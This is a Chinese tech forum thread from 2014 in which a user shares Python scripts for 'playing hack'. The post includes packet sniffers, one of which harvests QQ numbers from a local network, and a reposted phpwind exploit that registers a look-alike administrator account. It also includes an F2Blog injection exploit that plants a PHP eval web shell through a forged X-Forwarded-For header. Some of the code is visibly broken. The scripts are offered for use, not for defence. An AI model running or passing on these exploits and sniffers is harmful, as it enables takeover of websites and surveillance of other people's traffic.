搜索
有爱,有技术,有你^_^)y
╱人◕‿‿◕人╲订下契约(注册新用户)

合作站点账号登陆

QQ登录

只需一步,快速开始

快捷导航
查看: 1172|回复: 3
收起左侧

[普通教程] 找到了一些常用的python开发技巧

[复制链接]

该用户从未签到

6

主题

10

好友

3973

积分

序章

积分
3973
发表于 2014-1-22 20:00:54 | 显示全部楼层 |阅读模式

╱人◕‿‿◕人╲定下契约

您需要 登录 才可以下载或查看,没有账号?╱人◕‿‿◕人╲订下契约(注册新用户)

x
本帖最后由 Panni_007 于 2014-1-22 20:06 编辑

推荐大家学习一下python
这些代码,大部分是从别处转来的。搞安全的时候会比较有用。比如数据嗅探,发送请求,正则表达式处理文件,注入测试等。  
外国非常流行python 就像咱们学习c一样普及。
国外搞python开发的人很多,公司也很多。国内的相对较少。
我学习这个,是为了玩hack。日常用也很强大。
大多数应用,都可以使用一个函数搞定,比如文件下载,发送请求,分析网页,读写xml,文件压缩,爬虫搜索
1、数据嗅探,这个例子,是嗅探土豆网上的flash真正的播放地址。
[mw_shl_code=python,true]
import pcap ,struct , re
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('tcp port 80')
regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls=[]
hosts=[]
print 'start capture....'
for recv_time,recv_data in pack:
    urls=re.findall(regx,recv_data);
    if(len(urls)!=0):print urls;
[/mw_shl_code]
2、嗅探qq号码,前些天我还用它嗅探局域网里所有的qq那。可惜没有识别性别的功能。不过可以自己添加:
[mw_shl_code=python,true]
# -*- coding: cp936 -*-
import pcap ,struct
pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
    recv_len=len(recv_data)
    if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]== chr(03):
        print struct.unpack('>I',recv_data[49:53])[0]
    elif recv_len == 55:
        print struct.unpack('>I',recv_data[49:53])[0]
[/mw_shl_code]
3、数据嗅探,项目中遇到,需要嗅探一些发送到特定端口的数据,于是花了几分钟写了一个程序。
[mw_shl_code=python,true]
import pcap ,struct
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('port 2425')
f=open(r'/mm.txt','w+')
print 'start capture....'
for recv_time,recv_data in pack:
    print recv_time
    print recv_data
    f.write(recv_data)
[/mw_shl_code]
4、文件内容搜索,我发现windows的自带的搜索无法搜索内容。即使搜索到也不准。就自己写了一个:
[mw_shl_code=python,true]
import os,string,re,sys
class SevenFile:
    files=[]
    def FindContent(self,path):
        print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
        walks=os.walk(path)
        for walk in walks:
            for filename in walk[2]:
                if('.mht' == filename[-4:]):
                    res_taskid=[]
                    file=walk[0]+'\\'+filename
                    f=open(file)
                    content=f.read()
                    pattern_taskid=re.compile(r'Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #
                    res_taskid=pattern_taskid.findall(content)
                    f.close()
                if len(res_taskid)>0:
                    self.files.append(file)
def run():
     f=SevenFile()
     f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
     for filepath in f.files:
     print filepath
     print "OK"
if __name__=="__main__":
     run()
[/mw_shl_code]
5、这个不是我写的,是一个网上的攻击phpwind论坛的一个代码:[mw_shl_code=python,true]
# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def banner():
    print ""
    print "########################################################"
    print "Phpwind所有版本管理权限泄露漏洞利用poc"
    print "Copyright (C) 2006"
    print "jianxin@80sec.com"
    print "80sec是一个新的致力于web安全的小团体"
    print "http://www.80sec.com"

def usage():
    banner()
    print "Usage:n"
    print " $ ./phpwind.py pwforumurl usertoattackn"
    print " pwforumurl 目标论坛地址如http://www.80sec.com/"
    print " usertoattack 目标拥有权限的斑竹或管理员"
    print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
    print " 最新版本可以使用uid登陆"
    print " 其他版本可以使用cookie+useragent登陆"
    print "########################################################"
    print ""

argvs=sys.argv
usage()

data = "regname=%s%s1®pwd=@80sec®pwdrepeat=@80sec®email=foo@foo.com®emailtoall=1&step=2" % (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)

f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
    if cookie.index('winduser'):
        print "Exploit Success!"
        print "Login with uid password @80sec or Cookie:"
        print cookie
        print "User-agent: 80sec owned this"
except:
    print "Error! http://www.80sec.com"
    print "Connect root#80sec.com"[/mw_shl_code]
[/mw_shl_code]
6、黑客注入攻击,针对指定网站的注入演示:(这个代码貌似有问题)
[mw_shl_code=python,true]
#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:pt...@vip.sina.com
# Date: Jan 29 2007
import sys
import httplib
from urlparse import urlparse
from time import sleep
def injection(realurl,path,evil): #url,/bk/,evilip
    cmd=""
    cookie=""
    header={'Accept':'*/*','Accept-Language':'zh-
cn','Referer':'http://'+realurl[1]+path+'index.php','Content-
Type':'application/x-www-form-urlencoded','User-
Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),
         'Connection':'Keep-Alive','X-Forwarded-
For':evil,'Cookie':cookie}
   #cmd =
"formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4"
    #print header
    #print path
    #sys.exit(1)
    http = httplib.HTTPConnection(realurl[1])
    http.request("POST",path+"index.php",cmd, header)
    sleep(1)
    http1 = httplib.HTTPConnection(realurl[1])
    http1.request("GET",path+"cache/test11.php")
    response = http1.getresponse()
    re1 = response.read()
    #print re1
    print re1.find('test')
    if re1.find('test') ==0:
        print 'Expoilt Success!\n'
        print 'View Your shell:\t%s' %shell
        sys.exit(1);
    else:
        sys.stdout.write("Expoilt FALSE!")
        http.close()
        #sleep(1)
        #break
        sys.stdout.write("\n")
def main ():
print 'Exploit For F2Blog All Version'
print 'Codz by pt...@vip.sina.com\n'
if len(sys.argv) == 2:
    url = urlparse(sys.argv[1])
    if url[2:-1] != '/':
        u = url[2] + '/'
    else:
        u = url[2] #u=/bk/
else:
    print "Usage: %s <url> " % sys.argv[0]
    print "Example: %s http://127.0.0.1/bk" % sys.argv[0]
    sys.exit(0)
print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
global shell,useragent
shell="http://"+url[1]+u+"cache/test11.php"
query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'<?@eval_r($_REQUEST[c])?>test\')'query ='\'));'+query+';/*'
evilip=query
useragent=""
cookie=""
injection(url,u,evilip)
evilip=""
injection(url,u,evilip)
print '[+] Finished'
if __name__ == '__main__': main()
[/mw_shl_code]
7、黑客注入攻击,这是一个完整的access+asp注入工具。
代码有点长,自己下载吧。
http://www.xfocus.net/tools/200408/780.html
国外还有更厉害的python注入工具(sqlmap),支持现在基本上所有的数据库。
[mw_shl_code=shell,false]
MySQL, Oracle, PostgreSQL and Microsoft SQL
Server database management system back-end. Besides these four DBMS,
sqlmap can also identify Microsoft Access, DB2, Informix and Sybase;
[/mw_shl_code]

评分

参与人数 1宅币 +50 元气(技能点) +2 收起 理由
_Nozomi + 50 + 2

查看全部评分

签名被小宅喵吞掉了~~~~(>_<)~~~~
回复

使用道具 举报

签到天数: 3 天

连续签到: 1 天

[LV.2]偶尔看看I

15

主题

34

好友

8959

积分

老湿

我才不老湿,我是骚年啦

积分
8959
发表于 2014-4-22 00:09:07 | 显示全部楼层
= =|||刚刚开始学,先收藏了
其实我不是老湿,我是骚年~\(≧▽≦)/~啦啦啦
回复 支持 反对

使用道具 举报

该用户从未签到

1

主题

3

好友

590

积分

New Game

积分
590
发表于 2014-5-1 17:10:47 | 显示全部楼层
哈哈 我也是剛開始學!!!
收藏先! 謝謝
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

该用户从未签到

3

主题

11

好友

2178

积分

Continue

积分
2178
发表于 2014-6-15 14:39:29 | 显示全部楼层
用 python 进行攻击什么的, 还是要看对方有没有暴露注入点吧. 另外 py 的 urllib2 跟 httplib 真是简单到爆, 随手抓网页什么的不在话下, 结合正则表达式或 xml 模块分析页面内容相当好用.

顺便吐个槽, 楼主导了 pickle 模块却没用到... 这个模块是用来把 py 对象写成二进制数据 (dump) 或反之 (load). 不过在 Web 日益发达的今天, 这种事情一般都用 json 来搞了.
签名被小宅喵吞掉了~~~~(>_<)~~~~
回复 支持 反对

使用道具 举报

本版积分规则

小黑屋|手机版|技术宅(Z站|基宅) ( 粤ICP备18082987号-1 )

GMT+8, 2025-7-4 11:36 , Processed in 0.167491 second(s), 27 queries , Redis On.

Copyright © 2018 技术宅社区

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表